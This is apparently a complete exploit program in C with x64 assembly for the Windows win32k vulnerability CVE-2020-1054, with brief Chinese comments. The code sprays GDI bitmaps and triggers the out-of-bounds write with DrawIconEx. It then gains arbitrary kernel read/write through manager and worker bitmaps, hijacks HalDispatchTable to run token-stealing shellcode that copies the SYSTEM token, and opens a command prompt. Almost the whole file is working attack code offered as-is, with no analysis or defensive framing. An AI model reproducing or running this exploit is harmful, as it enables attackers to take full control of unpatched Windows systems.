EXTERN_C_START
ULONG64 GetPEB();
NTSTATUS ShellCodeInWin7();
EXTERN_C_END
/
*
.code
ShellCodeInWin7 proc
push r8
push r9
; 从KPCR中获取当前线程_ETHREAD
mov rax, gs:[
188h
]
; 从_ETHREAD中获取当前进程_EPROCESS
mov rax, [rax
+
070h
]
mov r8, rax
find_system_proc:
; 获取下一进程EPROCESS地址
mov rax, [rax
+
188h
]
sub rax,
188h
; 获取PID
mov rdx, [rax
+
180h
]
; 判断pid是否为
4
,不为
4
则跳转
cmp
rdx,
4
jne find_system_proc
; 将system的token赋值给本进程,并增加引用计数
mov rax, [rax
+
208h
]
and
al,
0f0h
mov [r8
+
208h
], rax
mov r9,
2
add [rax
-
30h
], r9
; 设置返回值,退出函数
mov rax,
1
pop r9
pop r8
ret
ShellCodeInWin7 endp
.code
GetPEB proc
mov rax, gs:[
60h
]
ret
GetPEB endp
end
*
/
typedef DWORD64 QWORD;
typedef PDWORD64 PQWORD;
typedef struct _LARGE_UNICODE_STRING {
ULONG Length;
ULONG MaximumLength :
31
;
ULONG bAnsi :
1
;
PWSTR
Buffer
;
} LARGE_UNICODE_STRING,
*
PLARGE_UNICODE_STRING;
typedef struct _HEAD
{
HANDLE h;
DWORD clockObj;
}HEAD,
*
PHEAD;
typedef struct _THROBJHEAD
{
HEAD h;
PVOID pti;
}THROBJHEAD,
*
PTHROBJHEAD;
typedef struct _THRDESKHEAD
{
THROBJHEAD h;
PVOID rpdesk;
PVOID pSelf;
}THRDESKHEAD,
*
PTHRDESKHEAD;
typedef struct _GDICELL64 {
PVOID pKernelAddress;
USHORT wProcessId;
USHORT wCount;
USHORT wUpper;
USHORT wType;
PVOID pUserAddress;
} GDICELL64,
*
PGDICELL64;
typedef NTSTATUS(WINAPI
*
lpfnNtQueryIntervalProfile)(IN QWORD Src, IN OUT PQWORD Profile);
VOID ShowError(char
*
str
, DWORD dwErrorCode)
{
printf(
"%s Error 0x%X\n"
,
str
, dwErrorCode);
}
ULONG64 GetNTBase()
{
ULONG64 Base[
0x1000
];
DWORD dwRet
=
0
;
ULONG64 ulKrnlBase
=
0
;
if
(EnumDeviceDrivers((LPVOID
*
)&Base, sizeof(Base), &dwRet))
{
ulKrnlBase
=
Base[
0
];
}
else
{
printf(
"EnumDeviceDrivers"
);
}
return
ulKrnlBase;
}
PVOID GetHalQuerySystemInformation()
{
PVOID pXHalQuerySystemInformation
=
NULL;
ULONG64 ulHalDispatchTable
=
0
;
HMODULE hKernel
=
NULL;
ULONG64 ulOsBase
=
0
;
ulOsBase
=
GetNTBase();
if
(!ulOsBase)
{
goto exit;
}
hKernel
=
LoadLibraryA(
"ntoskrnl.exe"
);
if
(!hKernel)
{
printf(
"LoadLibrary"
);
goto exit;
}
/
/
获取内核HalDispatchTable函数表地址
ulHalDispatchTable
=
(ULONG64)GetProcAddress((HMODULE)hKernel,
"HalDispatchTable"
);
if
(!ulHalDispatchTable)
{
printf(
"GetProcAddress"
);
goto exit;
}
ulHalDispatchTable
=
ulHalDispatchTable
-
(ULONG64)hKernel
+
ulOsBase;
pXHalQuerySystemInformation
=
(PVOID)(ulHalDispatchTable
+
sizeof(ULONG64));
exit:
if
(hKernel) FreeLibrary(hKernel);
return
pXHalQuerySystemInformation;
}
BOOL
CallNtQueryIntervalProfile()
{
BOOL
bRet
=
TRUE;
NTSTATUS status
=
0
;
HMODULE hDll
=
NULL;
hDll
=
LoadLibraryA(
"ntdll.dll"
);
if
(!hDll)
{
printf(
"LoadLibrary ntdll.dll"
);
return
FALSE;
}
lpfnNtQueryIntervalProfile NtQueryIntervalProfile
=
(lpfnNtQueryIntervalProfile)GetProcAddress(hDll,
"NtQueryIntervalProfile"
);
if
(!NtQueryIntervalProfile)
{
bRet
=
FALSE;
printf(
"GetProcAddress"
);
return
FALSE;
}
QWORD dwRet
=
0
;
QWORD dwProfileTotalIssues
=
0x3
;
status
=
NtQueryIntervalProfile(dwProfileTotalIssues, &dwRet);
if
(status <
0
)
{
printf(
"NtQueryIntervalProfile"
);
return
FALSE;
}
}
/
/
成功扩大hManager的读写范围之后,就可以通过修改hWorker的pvScan0来实现任意地址读写
BOOL
EnablePrivilege_CVE_2020_1054(HBITMAP hManager, HBITMAP hWorker, ULONG64 ulSize)
{
PVOID pBuf
=
NULL;
pBuf
=
malloc(ulSize
+
0x10
);
if
(!pBuf)
{
printf(
"malloc error"
);
return
FALSE;
}
ZeroMemory(pBuf, ulSize
+
0x10
);
if
(!GetBitmapBits(hManager, ulSize, pBuf))
{
printf(
"GetBitmapBits error"
);
return
FALSE;
}
ULONG64 ulHalQuerySystenInformation
=
(ULONG64)GetHalQuerySystemInformation();
if
(!ulHalQuerySystenInformation)
{
printf(
"GetHalQuerySystemInformation error"
);
return
FALSE;
}
*
(PULONG64)((ULONG64)pBuf
+
ulSize)
=
ulHalQuerySystenInformation;
if
(!SetBitmapBits(hManager, ulSize
+
sizeof(ULONG64), pBuf))
{
printf(
"SetBitmapBits"
);
return
FALSE;
}
ULONG64 ulOrg
=
0
;
if
(!GetBitmapBits(hWorker, sizeof(ULONG64), &ulOrg))
{
printf(
"GetBitmapBits error"
);
return
FALSE;
}
ULONG64 ulShellCode
=
(ULONG64)ShellCodeInWin7;
if
(!SetBitmapBits(hWorker, sizeof(ULONG64), &ulShellCode))
{
printf(
"GetBitmapBits"
);
return
FALSE;
}
if
(!CallNtQueryIntervalProfile())
{
return
FALSE;
}
if
(!SetBitmapBits(hWorker, sizeof(ULONG64), &ulOrg))
{
printf(
"GetBitmapBits"
);
return
FALSE;
}
}
ULONG64 GetBitMapKerAddr(HBITMAP hBitMap)
{
ULONG64 pKernelAddress
=
NULL;
ULONG64 ulPEB
=
GetPEB();
ULONG64 ulGdiSharedHandleTable
=
*
(PULONG64)(ulPEB
+
0xF8
);
PGDICELL64 pGdiCell
=
NULL;
pGdiCell
=
(PGDICELL64)(ulGdiSharedHandleTable
+
sizeof(GDICELL64)
*
((ULONG64)hBitMap &
0xFFFF
));
return
(ULONG64)pGdiCell
-
>pKernelAddress;
}
static VOID CreateCmd()
{
STARTUPINFO si
=
{ sizeof(si) };
PROCESS_INFORMATION pi
=
{
0
};
si.dwFlags
=
STARTF_USESHOWWINDOW;
si.wShowWindow
=
SW_SHOW;
WCHAR wzFilePath[MAX_PATH]
=
{ L
"cmd.exe"
};
BOOL
bReturn
=
CreateProcessW(NULL, wzFilePath, NULL, NULL, FALSE, CREATE_NEW_CONSOLE, NULL, NULL, (LPSTARTUPINFOW)&si, &pi);
if
(bReturn) CloseHandle(pi.hThread), CloseHandle(pi.hProcess);
}
int
main()
{
/
/
喷射大量
0x7000
大小的BitMap对象
if
(!LoadLibraryA(
"user32.dll"
))
{
printf(
"LoadLibrary error"
);
return
0
;
}
HDC hdc
=
NULL;
hdc
=
CreateCompatibleDC(NULL);
if
(!hdc)
{
printf(
"CreateCompatibleDC error"
);
return
0
;
}
HBITMAP hExpBitMap
=
NULL;
hExpBitMap
=
CreateCompatibleBitmap(hdc,
0x51500
,
0x100
);
if
(!hExpBitMap)
{
printf(
"CreateCompatibleBitmap error"
);
return
0
;
}
ULONG64 ulExpBitMap
=
GetBitMapKerAddr(hExpBitMap);
ULONG64 oob_target
=
(ulExpBitMap &
0xfffffffffff00000
)
+
0x0000000100000000
;
HBITMAP hManager
=
NULL, hWorker
=
NULL;
ULONG64 ulManager
=
0
, ulWorker
=
0
;
while
(true)
{
HBITMAP hBitMap
=
NULL;
hBitMap
=
CreateCompatibleBitmap(hdc,
0x6F000
,
0x8
);
if
(!hBitMap)
{
printf(
"CreateCompatibleBitmap error"
);
return
0
;
}
ULONG64 ulBitMapKerAddr
=
GetBitMapKerAddr(hBitMap);
if
(hManager)
{
ulWorker
=
ulBitMapKerAddr;
hWorker
=
hBitMap;
break
;
}
else
if
(ulBitMapKerAddr >
=
oob_target && (ulBitMapKerAddr &
0x0000000000070000
)
=
=
0x70000
)
{
ulManager
=
ulBitMapKerAddr;
hManager
=
hBitMap;
}
}
/
/
触发漏洞,修改hManger的可读写范围
SelectObject(hdc, hExpBitMap);
DrawIconEx(hdc,
0x900
,
0xb
, (HICON)
0x40000010003
,
0x0
,
0xffe00000
,
0x0
,
0x0
,
0x1
);
ULONG64 ulSize
=
ulWorker
+
0x50
-
(ulManager
+
0x238
);
if
(!EnablePrivilege_CVE_2020_1054(hManager, hWorker, ulSize))
{
printf(
"error"
);
return
0
;
}
CreateCmd();
return
0
;
}